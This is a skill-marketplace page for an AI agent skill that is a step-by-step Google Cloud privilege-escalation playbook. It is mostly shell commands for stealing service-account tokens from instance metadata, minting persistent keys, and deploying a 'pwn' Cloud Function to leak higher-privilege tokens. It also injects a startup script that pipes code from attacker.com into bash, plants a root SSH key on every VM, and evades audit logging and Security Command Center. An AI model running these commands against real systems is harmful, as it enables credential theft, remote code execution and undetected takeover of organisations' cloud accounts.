# GCP Svc Account Impersonation

> GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.

- Skill: `purpleailab/gcp-svc-account-impersonation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/gcp-svc-account-impersonation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/gcp-svc-account-impersonation/raw
- Safety review: WARNING
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/gcp-svc-account-impersonation

---


# GCP Service Account Impersonation

You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.

## Steal the token

### From GCE / GKE / Cloud Run / Functions
```bash
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r .access_token)

# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
```

### From a leaked key.json
```bash
gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)
```

## Phase 1: Enumerate current permissions

```bash
# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'

# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
  --permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')

# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'
```

## Phase 2: Impersonation primitives

### `roles/iam.serviceAccountTokenCreator`
If you have `iam.serviceAccounts.getAccessToken` on a higher-priv SA:

```bash
gcloud auth print-access-token --impersonate-service-account=highpriv@PROJECT.iam.gserviceaccount.com
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/highpriv@PROJECT.iam.gserviceaccount.com:generateAccessToken" \
  | jq -r .accessToken
```

### `iam.serviceAccountKeys.create`
Mint a permanent JSON key for any SA you can act-on:

```bash
gcloud iam service-accounts keys create /tmp/k.json \
  --iam-account=target@PROJECT.iam.gserviceaccount.com
# Long-lived credential — survives token rotation.
```

### `cloudfunctions.functions.update` + `actAs`
Deploy a function that runs AS a more-priv SA:

```bash
mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
    import subprocess
    out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
    return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
  --service-account=highpriv@PROJECT.iam.gserviceaccount.com --entry-point=pwn
# Then HTTP-call it to get the higher-priv token
```

### `compute.instances.setMetadata`
Inject a `startup-script` that runs as the VM's SA on next boot:

```bash
gcloud compute instances add-metadata target-vm --zone=us-central1-a \
  --metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-a
```

### `compute.projects.setCommonInstanceMetadata`
Project-wide metadata = SSH key on every VM in the project:

```bash
ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"
```

## Phase 3: Cross-project pivot

```bash
# If your token has `resourcemanager.organizations.get`, you can see the org tree
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .

# Find SAs with cross-project bindings
for p in $(gcloud projects list --format='value(projectId)'); do
  echo "=== $p ==="
  gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
done
```

## OPSEC

- Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.
- Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).
- Key creation creates a Cloud Audit `google.iam.admin.v1.CreateServiceAccountKey` event — high-fidelity detection.
- GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.

## References

- gcp_enum / GCP IAM Privilege Escalation by RhinoSecurityLabs
- "Big GCP IAM Privilege Escalation List" — Praetorian
- DEFCON 27 "Privilege Escalation in GCP" — Spencer Gietzen

